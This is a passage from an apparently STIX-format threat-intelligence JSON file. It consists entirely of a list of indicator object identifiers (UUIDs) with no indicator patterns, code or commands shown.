        "indicator--56770158-1d1b-4f0f-9554-af8d111356c5",
        "indicator--84204ce5-d68c-4613-bcff-4b2449a333f1",
        "indicator--b8316e2f-f49f-4101-aeba-8a847d5cbdfb",
        "indicator--2571a863-bd53-487a-997f-616c3b30db32",
        "indicator--7701c838-2f26-4ce3-ba9a-7022c7150c2d",
        "indicator--10809cae-379c-41cc-83d5-15aa0535756c",
        "indicator--e875fcd5-8ea3-4a9d-b732-7ed539d6dcc6",
        "indicator--b21e8fbb-b4c2-4be1-aaa6-ea5c8678c284",
        "indicator--f463631e-47d6-4da5-b806-e1943c68169c",
        "indicator--931e37b6-d241-4ae8-a7ef-cc3082c73f69",
        "indicator--bf901158-99dd-45f4-a076-493093592e28",
        "indicator--eaf0e94d-8869-49c1-9d2e-b791bb0b9872",
        "indicator--8b7eab43-b910-4b02-af24-aea6c7860232",
        "indicator--beab8d04-8597-4fec-8757-35d321391e17",
        "indicator--3c5f6f3f-c2c4-4868-886f-52ba06fa6eda",
        "indicator--0a8b9b81-6839-4f66-a548-5c0cc719ed80",
        "indicator--43db68ef-d6bb-4ac6-b169-3fff752f990b",
        "indicator--c1ff5121-1a9a-4ace-89da-8b6c74688504",
        "indicator--35467b4e-3a44-4d9e-bdc8-07c40d340b33",
        "indicator--61d6c63e-7d63-483c-b983-256073faff4a",
        "indicator--e70caae9-97e5-4d77-8ce0-29d2e12ec0cb",
        "indicator--fd7c135a-fd3b-4d0d-b601-58292de7c04d",
        "indicator--860ec657-6333-44fa-bcce-e281986819f3",
        "indicator--bd66b3e7-8742-4600-b643-ddfbe114d3c0",
        "indicator--6591cca5-78ce-41bd-b812-055eced05f0e",
        "indicator--d12ab957-13f6-4997-a151-21ffb8dd50f2",
        "indicator--727d246f-ae7b-4963-8e43-5367352e9054",
        "indicator--2e847174-110a-4a68-9801-aa03da928edc",
        "indicator--0b256573-0e3b-40dd-8683-1d43837f1468",
        "indicator--6e928a2b-0034-4431-8531-18ab3659136b",
        "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
        "indicator--328de22c-b511-48a3-b4e6-e729cbdaf04a",
        "indicator--a0ff2009-5dd6-484c-a414-eb21a5446802",
        "indicator--ba21fac2-e4b2-4d24-ad4c-5304fcebfa6d",
        "indicator--316c2c7c-38fb-4656-bb32-d4d0b8b72175",
        "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
        "indicator--0932e97a-c26c-4eb7-b7a4-9412e3900165",
        "indicator--34920249-b882-436d-98f9-836cfa33240d",
        "indicator--995ce2e5-8406-46b0-b796-73abd963ef95",
        "indicator--ce27c2ad-e7a2-44ba-ad69-b23ffb68583b",
        "indicator--2e7e1984-2c67-4f7d-a851-d55b3f618519",
        "indicator--52a78c8e-50f3-4ddb-83c5-0861e60f07b1",
        "indicator--84cfc28d-960e-4fba-9292-7842b83338b4",
        "indicator--4bb0e62a-7fe7-4597-91ba-2e0872c3814b",
        "indicator--30fb417f-8552-4a11-a967-caa15411d955",
        "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
        "indicator--d7cd958d-09c9-4bd6-bd6d-99167d5d98fe",
        "indicator--b50b62a4-53c8-423a-aac2-6dce82265d9e",
        "indicator--52f2ffbd-c94b-4ce6-b80f-884ac5680a8e",
        "indicator--e291d474-b1e9-4a09-b7f9-c8c56d973452",
        "indicator--7f675e73-88ec-420b-9b26-cf188197a3eb",
        "indicator--def62ca2-a613-4585-ad70-53ca245a9117",
        "indicator--6a50d9ec-21fb-4fb5-be94-7ddb00968598",
        "indicator--525df4d6-0841-4eeb-b6b5-505620bc0d92",
        "indicator--f68bc69e-a968-43b7-9b71-93c23dbf68c6",
        "indicator--909d00e8-22d1-40a0-ae91-c9cef8bfcadb",
        "indicator--316195dc-ec5a-4d6e-91a4-36db0e060c66",
        "indicator--24158cbb-92fa-402e-b1c2-c90f5ffb37a3",
        "indicator--30c003ff-910b-4af8-b4a5-59aae190fa4e",
        "indicator--53fc7f74-7f1c-4c34-a5bb-e52e55e60f64",
        "indicator--cf7010b5-4d4b-44bf-8dca-a10547ea017e",
        "indicator--f56ccd6c-46fb-4145-bde1-48cd327029c1",
        "indicator--0496a9ca-c27f-4269-8ceb-468e685096c8",
        "indicator--acf53585-252c-4729-96bd-2d76709bff07",
        "indicator--e2afdbd9-62d6-4445-bc42-3a48c10b1d0e",
        "indicator--69e3c089-ba77-43dc-9012-0e666763dca3",
        "indicator--78d8029a-7172-4242-bd74-364275973bfa",
        "indicator--d1158602-c160-4ca5-933d-418247283312",
        "indicator--82b49976-a5e4-4c6d-b963-144a75006096",
        "indicator--7ba47e34-921c-4c52-92fd-f1c4fc709ab4",
        "indicator--9b69d906-4cd1-4a7e-8f0f-b1a1bf8ce1a1",
        "indicator--d6a18093-8195-409d-bfe3-d6c61c3abf6d",
        "indicator--fe536448-0ea0-4499-8f86-6b9df3e44f94",
        "indicator--3701d177-afec-4ada-8048-40e0bb110282",
        "indicator--e2e05736-5c90-42e4-9040-8d94518ec93c",
        "indicator--4f3f6d56-2ec6-4c6e-bc93-f17a83b6ce18",
        "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
        "indicator--8c9cb319-9ce3-4365-8030-974ce8d68608",
        "indicator--2ed90b94-44fd-44b8-a53f-b787e49cd8af",
        "indicator--1bcb5b30-2ca5-4c9d-b815-fae9cc8e8ddb",
        "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
        "indicator--226faaf4-0ddb-4929-b232-a8bf0d309922",
        "indicator--ac59e24a-d420-491c-ab14-2e8d6461d3d2",
        "indicator--4edf3981-5259-4a39-886b-a806293e834c",
        "indicator--60d605e3-6242-41c2-ab64-50e43c639e7d",
        "indicator--bcefc35a-183d-4418-a908-aa60b01cf73b",
        "indicator--1e4c89df-d159-4a08-978b-41d763c722ec",
        "indicator--8274adc7-baf3-4850-ae73-0cf127729e3b",
        "indicator--7fab1fd4-4eae-4556-ab8c-521ee0e898ce",
        "indicator--89bc0e30-bc52-49aa-a6a2-a373e6ef08cb",
        "indicator--da09b76c-632f-45e7-bbd2-ebd5b227212f",
        "indicator--f4f167b7-bc9c-4db2-b5e1-ee4b149b5558",
        "indicator--1655cbde-5c95-4536-a2c9-a2ca1c8e2d3e",
        "indicator--1db5db41-2170-40d0-b03e-cc2dd2c8c08e",
        "indicator--240847ab-a303-4e4f-98e6-0e3e2906afe5",
        "indicator--bccb15d4-b396-4e2f-9f06-d4a425fadcdd",
        "indicator--c13c4358-80e8-45ba-8209-3e084f45f91b",
        "indicator--bfdf154a-6b87-4841-a1e2-4777ad307c08",
        "indicator--fbb2c97b-6328-413d-8972-73269abefbde",
        "indicator--34692657-e13c-4a7c-9522-e218882fc589",
        "indicator--3d9a5832-f3ce-48fc-a873-62fe8996dc8d",
        "indicator--27145624-8358-41bd-8053-e1ee33395236",
        "indicator--237128ea-c7bc-4934-8b63-19ddaac889d8",
        "indicator--dd4dc9b5-d6e7-481d-88e2-325df2015bb0",
        "indicator--2cb205ac-cdb1-4e8c-ba77-02e001900854",
        "indicator--bed5c877-554e-41e2-929b-f3780ffd1b6f",
        "indicator--eeaadacb-8178-4468-bc3d-19b924954399",
        "indicator--e4cc1a16-a99a-4610-b535-5c70a8732c77",
        "indicator--3ea31e12-d45e-45e1-b4a4-7b453779b132",
        "indicator--2a077863-bc07-44d6-8674-33191c21a860",
        "indicator--851e662a-ba7b-4032-b886-0afd82c4b18f",
        "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
        "indicator--61d379fd-d122-4736-a5b9-a436c41c191b",
        "indicator--d513a8f9-f9e7-48f5-b258-7d354950391f",
        "indicator--3fa6403d-13d8-4576-b94e-3bd1c70e04f9",
        "indicator--fc5aa9b7-d3e4-4ad6-880b-cd17b1798267",
        "indicator--69df31dc-a4c1-4dcc-b780-000bc059da76",
        "indicator--17b9b3c5-d451-4918-b557-7124a13265de",
        "indicator--964991fd-635d-4100-a055-8ae71306cce9",
        "indicator--c428b463-9611-4cdf-bd2f-19d42675b615",
        "indicator--b167ed26-3808-4036-abc3-6193f1433b73",
        "indicator--5f28e629-d507-481b-a153-369617989da4",
        "indicator--dcf87308-955c-47cc-a513-4a5bf07560b6",
        "indicator--999866c6-7dd6-4197-a466-4b6066718004",
        "indicator--f610d426-e85e-4c3f-a6f6-6d1145efa878",
        "indicator--25faae4a-ecd4-4e11-8e7c-50a544f540d0",
        "indicator--84b97ffc-5d78-4437-9a82-eb726c0ddd02",
        "indicator--28a62fae-8dec-4511-b156-29111e6d0e1e",
        "indicator--42ca7975-ceb6-44e6-9fb6-252983e50d98",
        "indicator--f0f6b478-f8c4-4e12-ace9-d7184efe7a89",
        "indicator--0bdc0658-3fc5-49ab-92e0-f206f5da887a",
        "indicator--8096fb12-f1cf-48a5-8121-6a67786b90ee",
        "indicator--ba7cd4c5-c861-42e4-8158-39c738e54ce9",
        "indicator--b620d3b2-c582-4563-99ec-587ded77a552",
        "indicator--02a6dc49-06a0-4430-8281-2569624a7203",
        "indicator--4b6cc609-cdd6-4741-a5a5-fd674fa7cf39",
        "indicator--014e057f-faef-4e57-8200-7fb473f55528",
        "indicator--b6153a76-db13-4da6-a04e-187d62d6c5c8",
        "indicator--75cd6237-1ef2-4052-a96d-d9c40b56d5c4",
        "indicator--4ee9dceb-b809-4e84-b608-85c2a4e8243a",
        "indicator--0593785b-9f44-4aa2-82ce-18d11b35b06f",
        "indicator--358260cf-c74c-4a90-ae10-7df1c41a98ed",
        "indicator--ce454d1a-49a0-4408-8690-170072bc33f7",
        "indicator--7e16e25f-b136-4ed8-bf8d-398a8a429e8b",
        "indicator--b89c6670-027c-4835-ac0f-3aa7502b18c8",
        "indicator--1047e718-e676-4abf-93fc-8d99ed646ae3",
        "indicator--f40d7908-8277-4460-8f91-456911b48a9a",
        "indicator--07dadcc2-f0fe-4b76-8641-7c26dfc3fd27",
        "indicator--baa7cda1-f5a3-4714-80e5-6d2dc729cbc5",
        "indicator--64998de8-63a6-4fdf-b964-4e55ef8d592f",
        "indicator--a723512b-fbcf-473c-ba75-991240fdfddf",
        "indicator--c01bc487-4dc6-4392-944b-a052845ccd52",
        "indicator--28a9a7f0-c93a-4872-9b63-2206c474efbc",
        "indicator--550ef4fe-6bf0-4ec2-8075-e452cf6f14d1",
        "indicator--eed225ee-6de7-4dd4-9d61-1c19c96eda4b",
        "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
        "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
        "indicator--87eb12bf-9b46-4457-855b-978c4e80df9d",
        "indicator--8f923561-588a-4d32-baab-a719dde75722",
        "indicator--2ca0da13-d887-4156-8c5d-808a5a05fec5",
        "indicator--836620cd-0e62-4ec5-88c7-eae836116de2",
        "indicator--555784fa-4cb5-495c-8bac-d38f0eb12fdd",
        "indicator--b49ef7f0-092f-4265-a825-269f8b799c96",
        "indicator--94960a8c-8b66-4d1f-ac14-95df1300d729",
        "indicator--50231752-568a-4b19-bc04-6418dd9b3ae5",
        "indicator--42289160-aa74-45e3-b33c-a29adc1b8c55",
        "indicator--c23cb4b9-9df1-49c8-9719-1b75e16547c4",
        "indicator--de0432da-f23c-4a9a-9644-a005d40c58cc",
        "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
        "indicator--d65a67a4-90a0-4c56-84e9-155fcccf8ce7",
        "indicator--b524e40e-8820-4302-ae92-8bfaa1772297",
        "indicator--f208ffa6-6789-4a5d-9255-9f0475fc420a",
        "indicator--c1b711c4-47e4-40f8-b913-329afcf3839d",
        "indicator--7823754c-7a5e-4070-9819-a3390275e2e1",
        "indicator--262664e4-2d19-4164-8626-97fa8af55489",
        "indicator--eddbb4a4-02a1-4bc6-ba7e-36c256d402fc",
        "indicator--15d786a1-b30c-44d0-8db6-b0517ef1da37",
        "indicator--e63b25d3-abb1-4d02-b590-a65631b2aa8d",
        "indicator--c8e10c83-a240-476e-b7f0-e93e0ff56b04",
        "indicator--4b355d74-0433-400b-9b8a-cab27dabb4da",
        "indicator--7794e457-1c70-47c3-bd25-021d3621f109",
        "indicator--8f1dcfb6-0fb5-48a6-b560-9ccfef173593",
        "indicator--1fb266cb-d2cd-4484-b7d8-3c1f3fff5969",
        "indicator--3def49e6-22df-4471-afd7-26ca26cc8557",
        "indicator--f0b5aad2-df8e-4c05-b525-56e8aa5b4996",
        "indicator--12726872-9783-4973-b5dc-f5974cfc75b6",
        "indicator--17f7b8da-6d0d-45be-a5ca-5b9efde213b1",
        "indicator--8c29adc5-1dd1-48cf-95e7-3222108e62be",
        "indicator--b2746173-b06e-4364-9762-99a5114ef2f5",
        "indicator--f57d8c72-f1fa-475a-85be-7389da02f10f",
        "indicator--bc7947fb-608e-4c9f-bfe7-2fac0d64ce86",
        "indicator--a79bb515-a0b1-44ce-99f5-cbc9ba829e5c",
        "indicator--445f8c9b-5193-46a1-b3c4-2c50c03c0147",
        "indicator--d34ee42d-2b94-459e-8a69-8b18a14c216b",
        "indicator--d7a7ba5f-12e4-40e4-bd78-086b2211ce1d",
        "indicator--42618dce-e056-4135-b48c-3e3089744da3",
        "indicator--77ac564f-a62e-46ef-90de-3b36bb5650eb",
        "indicator--6d9d2a6a-d5e6-4f50-9c34-d41465b1ff10",
        "indicator--7e1ce357-d873-454d-a0f0-b26be50481fc",
        "indicator--f898de0b-cd48-4e00-8962-404e6793c006",
        "indicator--601d33c5-7e61-4a42-810a-0c1dd9c62bfd",
        "indicator--e75075a5-3190-4c00-abed-40f0fedf1e87",
        "indicator--4f79f294-9da6-4adf-8942-cb50d1ba0ed3",
        "indicator--64c98d25-25fe-4535-82c6-d5df63237ffe",
        "indicator--c23a9cb8-4718-4441-ba22-20596e3c338d",
        "indicator--fc44f31a-3456-42f5-9dd2-a8823663ad33",
        "indicator--1194eb6e-9178-4ed1-af8e-b1657db0f29a",
        "indicator--21d8dafd-5823-4f08-8b6f-f557e2a556b3",
        "indicator--fad28670-9fe0-4737-abb5-a802af50dc30",
        "indicator--135a62fa-77da-4626-9f09-d33f8ce204ce",
        "indicator--ff50d27d-30c1-4b74-88ac-bd299165377f",
        "indicator--698e4d60-baae-46df-b9fe-fdd03492c27a",
        "indicator--eb7f9625-e6d3-48f9-acfa-51c14b2a3d18",
        "indicator--0c75395b-0ede-43d7-a430-a1469e7cb98e",
        "indicator--afe719a2-f569-4a37-b176-cfa6c83a76fa",
        "indicator--9223a65d-d1fe-48d7-a7c6-904912377ddc",
        "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
        "indicator--09681613-da60-40d4-a081-337ecf3873ae",
        "indicator--22971e57-73fc-4b19-9514-d89ae81a1ec8",
        "indicator--e7e8e1ad-428e-4327-86a7-394ee1c4e16d",
        "indicator--4268ca3c-d16b-486c-a0c7-3d9c8eff3ff7",
        "indicator--8dce63c9-a710-4c7c-90f0-4c7cd293f75b",
        "indicator--4055172f-6956-43eb-b2c2-e295e0331aa0",
        "indicator--2d6370fc-c755-416b-ae8b-45a189ee8c85",
        "indicator--31ebcb11-2a21-4c53-aa26-ccea5b65e373",
        "indicator--c16ca4e2-a228-41a7-a41f-69c108478174",
        "indicator--a2d32507-d1aa-4877-97b4-05cf31e9af81",
        "indicator--5bb9c25d-ef20-4fca-acab-294d090f9569",
        "indicator--e2666dd9-cd01-4c2d-b5cd-142a1cd1cf2a",
        "indicator--be65d27e-8e1a-47a1-96e7-606d03b1b3a7",
        "indicator--78ac4612-520e-4121-9be9-5fe3902f1f4f",
        "indicator--1ff55d55-fe53-4ab0-b3cd-19f0ff327d2d",
        "indicator--4e1bc778-5150-4d96-92af-adef1406d916",
        "indicator--a90e9a05-99ae-4a83-9c83-4295129e1ced",
        "indicator--503a727e-2dbb-4dcd-99bf-99d66c4051ae",
        "indicator--1de2b4c8-634e-4dcd-94f2-d9fc41228503",
        "indicator--c0d5f199-a479-4d69-880c-95297f311b9a",
        "indicator--9c1b8ed9-01c2-4fb5-bab1-c057a3c2e163",
        "indicator--de030e37-4f2d-4372-9678-467f9f308fee",
        "indicator--aa4c6091-ba0a-4006-99cd-2e1fde92bfdb",
        "indicator--df18b466-6cb1-4053-9fdc-bcfc95541ef3",
        "indicator--5cdeba00-3e08-4246-998b-00a1b4b5d576",
        "indicator--aae3e068-e3cd-4198-9332-0ff142c6dae7",
        "indicator--058962c5-761c-42f6-a512-5b8b263e7a02",
        "indicator--96ff03f4-7d81-4694-a38e-4f354a5f134e",
        "indicator--390bcfd4-01ce-4c36-9645-210285ea704b",
        "indicator--a55d8843-7137-4c5b-8a47-7125f30a5d05",
        "indicator--b4980019-95e8-4848-b1f3-7c5f7ff100fa",
        "indicator--437f4170-cf0f-41e4-8799-52cb9f64e252",
        "indicator--30d1c40c-a3be-42ce-808b-f7fd506db4bf",
        "indicator--5a4b3138-9ca7-4ba3-b5cb-8e57f67688a8",
        "indicator--bf46dcdf-c417-4137-8de5-99478a45a0d1",
        "indicator--02512c60-1a59-48ec-a6ee-8805c9ac639a",
        "indicator--4aa5ff41-0b39-429a-a217-ac980db2d286",
        "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
        "indicator--64161b30-b95e-4f78-b7c2-2621ccee68ba",
        "indicator--326fd806-a3d6-4633-9617-21682e04513e",
        "indicator--5721097c-8031-444d-acde-ecaf6e555d3e",
        "indicator--fea74d9f-9f43-42f6-8563-7145bfe98256",
        "indicator--db8c4bec-6782-4a3e-8997-e1e3f48cf46d",
        "indicator--885ba324-30c1-4702-8bdf-ff277a3689eb",
        "indicator--2511bcf1-4d52-4f57-b0fb-fbd6f4cf695e",
        "indicator--02683f8e-5d81-415e-a6a9-3a2c22b0508b",
        "indicator--395d5ed1-1ca8-4bd6-b7b5-a144fc6b838b",
        "indicator--2536e04a-4662-439d-bb9f-959c35538c02",
        "indicator--d367677d-3eb0-45bf-91d3-663c9f7715b2",
        "indicator--846d2e49-276f-4f7e-874f-cee9685f5299",
        "indicator--ef37ebfb-079f-4c36-96c8-a15b7308a0db",
        "indicator--566d92f6-1198-4f93-92d1-4492949e2b2b",
        "indicator--dc4f83f0-f931-4f6f-9d47-22683b67ee87",
        "indicator--2ed263ef-427c-476e-aff9-9911579d5a10",
        "indicator--998d25d9-b934-48da-b4ba-f61d4de0eeed",
        "indicator--284d61da-020d-4d12-a568-9ab5b9d1692c",
        "indicator--559ace05-d252-4998-8c5a-7780257a5a41",
        "indicator--aedd66ae-0bb5-4d29-84cc-f260d1ef16d5",
        "indicator--8fc1b0fb-7c31-4d18-aa59-dc9985fd7108",
        "indicator--3357387b-61f8-4305-a7cc-bb7866e01405",
        "indicator--6bf5d3d0-8dc0-4ab9-9175-e92b8c064089",
        "indicator--20878be8-78e9-4a2a-b258-45d3319d36bc",
        "indicator--8912a344-8534-4b4e-b69a-51aad9d645fc",
        "indicator--345ff9c8-3b85-4a3c-9a9c-0ff72e777ded",
        "indicator--b671ec01-2a07-41fa-97d1-66239afe9c47",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--8892a90b-29ee-4f42-9ade-348139fd18d8",
        "indicator--a5c0fda1-6f87-4fce-b24e-e2a46db221ae",
        "indicator--3e18843e-7bce-4b35-9399-0f7a0be3ec54",
        "indicator--875cd5b1-94dc-455a-b375-7dc83747a6f9",
        "indicator--9cc0d3c3-52a2-4ab1-84ab-e13371b6a7e1",
        "indicator--bde96bb2-b68a-470c-a777-868a2b18f1ea",
        "indicator--51b26af1-49c2-4824-a3c4-ff66b73e5ceb",
        "indicator--cb508bf7-189c-4ac1-9e8e-e17623eb900f",
        "indicator--be64cf93-ca45-4257-a701-36398b558c23",
        "indicator--873bf137-3bff-4dd6-900d-9d6631d681ec",
        "indicator--2a4cf8c5-f265-4ce2-a82a-d8ff7d63e2e4",
        "indicator--5bc96f77-9e31-4885-978d-bcadecf8f1df",
        "indicator--59407841-510b-40a6-b1d9-8cdc52225b7d",
        "indicator--1c5f3e8f-92dd-4d94-a03e-9c515f511092",
        "indicator--19093dba-3e29-47fb-9773-b659cc1d781e",
        "indicator--1b91fcc2-3729-4622-8b1e-bfca2f44e5af",
        "indicator--43b3e2a7-c600-4cfe-a296-e0fd5ba03762",
        "indicator--77d38974-34e2-4450-aae6-9ecbf3281a76",
        "indicator--eae1a403-68dd-46d5-992e-470a1ca81c10",
        "indicator--d864c10b-a619-4985-b98f-7999778897b1",
        "indicator--08b9e068-95e2-4571-9693-e9792c40750b",
        "indicator--156da012-e2b1-4d3a-b28f-ac23ab65ed61",
        "indicator--06cbc694-d289-4ab2-8c5b-67169275a9fc",
        "indicator--5d9acd10-f910-41bf-a14d-1a46a01449cd",
        "indicator--01191fab-85cc-47c4-bc43-8e5273d7a583",
        "indicator--86e5a223-5acd-4cb9-aecb-19a354916b7e",
        "indicator--568c3f98-beec-4fa5-b99e-1ff05075ce02",
        "indicator--22068f99-842d-442a-a2d4-3a9a1a61302b",
        "indicator--80820bc4-d391-4ebe-8e9a-cfd16e89dfdc",
        "indicator--b77245de-a12c-4055-aca0-14681e8adb97",
        "indicator--6f86e734-a60a-40c5-aee5-566478153d08",
        "indicator--3a71e7c8-c759-4bd7-9ac1-8d5b0845cd76",
        "indicator--b0efaae3-de8a-4427-ac24-07517bf9df9a",
        "indicator--37c13370-a4f9-4cc1-bf50-f3019412a143",
        "indicator--293ee4ed-a872-4377-8eaf-3d88b6151eab",
        "indicator--2463ca5d-3aab-4b9c-b393-f89499b1a968",
        "indicator--ce25733e-8b54-4ccf-af17-7f66dc55e942",
        "indicator--68b6147b-caa6-4afe-9f43-88d1b9638a36",
        "indicator--126aa494-f946-4629-b016-217f9cc11b44",
        "indicator--28483f0e-a696-499c-8a92-4deedb84663a",
        "indicator--307146b5-62c5-4090-b6af-180d408a8431",
        "indicator--76f3b795-e9e0-4b09-9859-243ba02c55c3",
        "indicator--d89a5671-1187-417e-9205-cc2d79edcc30",
        "indicator--b50bba23-beeb-4906-8fd2-e54e6a1a99af",
        "indicator--0c0fc6c6-451c-40b4-bce9-a48685f239c2",
        "indicator--a4cce6ff-c4d5-4a92-87d1-feb3ef093754",
        "indicator--cdf94d97-883d-4102-a3d9-687aec51df59",
        "indicator--9df851a5-f310-4839-888e-942431c1e03d",
        "indicator--fe7a0377-8bae-41bc-9f04-d5ba57543787",
        "indicator--407a13c2-37d3-4f4b-9a6a-738d71c439ad",
        "indicator--78096347-cb4d-4dfc-99ff-3371ade64490",
        "indicator--c0a63ab5-8e17-4155-8db8-99f426ce8eef",
        "indicator--05d49398-52d5-400d-9e2e-defe9b34c6c0",
        "indicator--4541356a-d4ad-4237-8845-ad384a52dd48",
        "indicator--d22c20a1-de9f-42ed-aa35-3322edf395fa",
        "indicator--61d1d7ff-1900-42fc-9af2-0351122b1d32",
        "indicator--b5b4dfe2-cd34-4c51-9ab5-d3b1611b719f",
        "indicator--ea04e52d-ac1b-4d6f-b500-0855f226d49e",
        "indicator--54277280-cfc8-4c04-8ee0-998eb8722c32",
        "indicator--286b7688-fc34-47d8-bcb9-a2d65ee5364d",
        "indicator--823d94f7-ab3e-4c98-b60b-23003e91ffa8",
        "indicator--04957f42-564e-45ef-9d42-da64bf9cf46e",
        "indicator--39486db2-9578-439c-8dcc-ac362434d413",
        "indicator--bd6dbd62-c579-4152-9b6c-777537bdd39b",
        "indicator--62927db6-1af5-48f4-ac83-97feade90ed8",
        "indicator--676c3ba4-c867-4e01-853f-2cbf293c30e2",
        "indicator--c0456122-23c7-499b-9543-5ecfa41fa9b2",
        "indicator--64ed7ad2-0fdd-4270-85c2-8b7c5d8a323e",
        "indicator--c43324d3-ab45-474b-9aeb-eddfdeb96ada",
        "indicator--1a163e36-10d2-4c7a-bd0c-dbd0c40ac6d0",
        "indicator--ddc0126e-f39f-4afc-a85c-8ae641209866",
        "indicator--3e56a8bb-3235-4b40-aa9d-4272d96b52ee",
        "indicator--cd25bff6-f29d-4dfd-b0f6-d7cf4ad2e16e",
        "indicator--25426c03-fee4-4ecc-baf0-783ab59be275",
        "indicator--84534a1e-ee27-43e9-af3d-e807711ad625",
        "indicator--cc9c48f9-7249-4a8f-bc54-be18fef4bd07",
        "indicator--df4aaf7f-c60d-4670-80d1-9a73078d24f2",
        "indicator--b1366695-c2c8-4701-8549-2a1b39a84f3d",
        "indicator--4a77d68b-ef6f-4961-a53c-83470bd8a9fd",
        "indicator--daf79d5e-7885-4f16-b3c8-c097f3d93c27",
        "indicator--e22ddfb9-d374-47c8-ab8b-fc742c64c7a3",
        "indicator--3df19305-f403-406f-9164-5d3fced7b7b2",
        "indicator--e1720cc9-c5de-4470-ba0d-16e22a00cfa1",
        "indicator--aecd1c37-ab8e-4504-ab8c-eed9446eb382",
        "indicator--97a5c352-c803-44f1-94cb-6134d975ecc6",
        "indicator--591f5fbf-df00-4d6c-88bc-3c88d4b4fac3",
        "indicator--0b575345-92ce-4d4a-bb58-afcb6821f0a5",
        "indicator--8f48889c-53d2-46c0-b7a6-68a55bd7eece",
        "indicator--db53358a-d595-4616-843d-d7aded3daab5",
        "indicator--2e55e6b6-4f9c-4387-b842-61793afab80d",
        "indicator--43dea769-8c4e-4420-b3de-0550cf524f75",
        "indicator--84890aaa-0270-4447-9485-638af1a3529d",
        "indicator--8a0b7a1a-4173-4fe4-aa12-cba2b99a8d24",
        "indicator--0642a483-2648-419e-88eb-3214f7804b8a",
        "indicator--cdc1243d-54f2-4667-8f85-41f4ff2dcf15",
        "indicator--9bd6fa2a-4dc3-4157-92f4-98b208fe08b0",
        "indicator--8450740f-e01e-4d96-81b2-41f6149b816f",
        "indicator--7810935d-a235-46f2-8571-129d3de76244",
        "indicator--0d890319-5b46-4762-ba1e-a055919ce577",
        "indicator--7f0788d2-2531-482b-b9c6-ba17f520c86a",
        "indicator--1389a35c-a4b9-45f3-a410-88a18ab8e100",
        "indicator--df13b2d4-f0ad-49fc-bddd-2bdb5486105f",
        "indicator--35bad230-41a0-4e8a-9950-0eb0c9a6cfd0",
        "indicator--63c6254d-a2fc-4efe-9f64-4b13d6547172",
        "indicator--05695229-9dc7-4193-ba11-c585dec2611c",
        "indicator--8dfee77e-4063-4ab7-9a72-097c4a1fdb8f",
        "indicator--ef4b133a-4c8f-4d01-a497-8067e0fa16bd",
        "indicator--1c6c2f7f-3c0e-4dca-80f6-0ecc8cbe6195",
        "indicator--f2ebebbb-514b-4994-b4ec-cc79b9020a60",
        "indicator--3617ee31-88a6-4982-83b3-7ce485cde1cf",
        "indicator--1950df5f-20d3-4d10-b1b6-9ffdcd47a681",
        "indicator--e890b18c-c924-4134-bec9-78d2f36e9973",
        "indicator--83a25d01-b510-4002-85a9-1f23c8db4f80",
        "indicator--a9615f53-426f-4d43-b8b2-9f6f6c59e371",
        "indicator--1de996ea-1fd5-4770-b8af-d7161181161d",
        "indicator--2b5ab673-3ec7-4aa0-8d96-82b609b0065e",
        "indicator--9e1b3628-a8c3-40b6-896a-0620264db1ad",
        "indicator--e27acd5a-be2c-4115-9cee-f1eddc0e40ec",
        "indicator--7a70227a-0472-4950-9dbd-1161c750136b",
        "indicator--9f65ec72-4e79-4887-acfa-a3c1e32c336f",
        "indicator--6de67d5d-e774-492d-a3ed-606fc98ff8a0",
        "indicator--7ee2f9f7-6971-4ffe-b064-dc5d7e01c8dc",
        "indicator--49215eba-3b97-4f30-858a-d73f86e8e6c9",
        "indicator--6c103448-787e-43b6-a8f9-5ed33120c6cb",
        "indicator--a46fa367-7294-47b8-a01e-04674873a6c1",
        "indicator--a273f10f-9da5-4919-ba54-14ab97ccb19b",
        "indicator--d2eac234-db9f-4cb5-b7c8-76dbfcb4dc9a",
        "indicator--27c7b285-20c4-4738-9b60-6b5c4f638c8d",
        "indicator--c4ffa596-736f-4ab1-ac2e-2a0416435b7a",
        "indicator--4a83c77e-9e32-4b4e-9c9c-f625dc302f98",
        "indicator--22436fc9-e2f9-457b-9249-6c0066846c3c",
        "indicator--987b129f-f0f4-4a9f-a50f-6a543d64fa39",
        "indicator--a8b3d205-906f-4bf5-aad6-6068ce4c10de",
        "indicator--7500b9e6-72bf-4d11-abd3-2f6ba328a0fc",
        "indicator--a648389b-6c16-49da-b09c-a8582124a68e",
        "indicator--1f5c9adf-f0cb-464c-8ff7-c8aa813b5759",
        "indicator--77402e31-330f-43cd-bf8b-4f5b60276fda",
        "indicator--6a9abd1c-1dcc-489d-a764-e3088c00ccb4",
        "indicator--d4ea75a7-6fbf-413f-a62d-d33f55d16a48",
        "indicator--b0798e3b-b949-40a7-ae21-36503f2ad600",
        "indicator--56cd82d2-484f-4f65-8659-083b76475073",
        "indicator--c7a3fedd-5a4c-4958-b42f-ca85be8f21f6",
        "indicator--a65da9d3-9992-461a-978b-58603ece7554",
        "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
        "indicator--3393dc3e-66b7-41a3-b0f7-f9544eefcf90",
        "indicator--7998725b-b6bf-4020-8f03-594bc5ae805c",
        "indicator--7b9be227-a0aa-47fc-b267-3429d5ecda8a",
        "indicator--3678767c-ed3e-4d20-b8f4-ebcce75bbd03",
        "indicator--e43b6586-e693-4cc5-a628-57d880de857a",
        "indicator--8d27e817-6069-440b-93f2-d46bafb307e2",
        "indicator--025141f2-548c-4c5b-8d59-3d0fe2dccf79",
        "indicator--a6f7bef1-c5c5-4cc1-9f50-6670a623e85f",
        "indicator--4ddcca63-7c26-48a4-8a01-af8a9c1ca49a",
        "indicator--91dec7ed-fff9-42c6-ba0e-ad80381e1b7f",
        "indicator--adff99d8-46c3-4d11-8e60-7704399ca65d",
        "indicator--bf1439ae-f144-4d3d-89b4-7eca8ad71638",
        "indicator--6e46148c-54d1-4486-8a32-71f5b68276b0",
        "indicator--13b8c172-c7cc-4d9b-b5d4-1184f1a75b96",
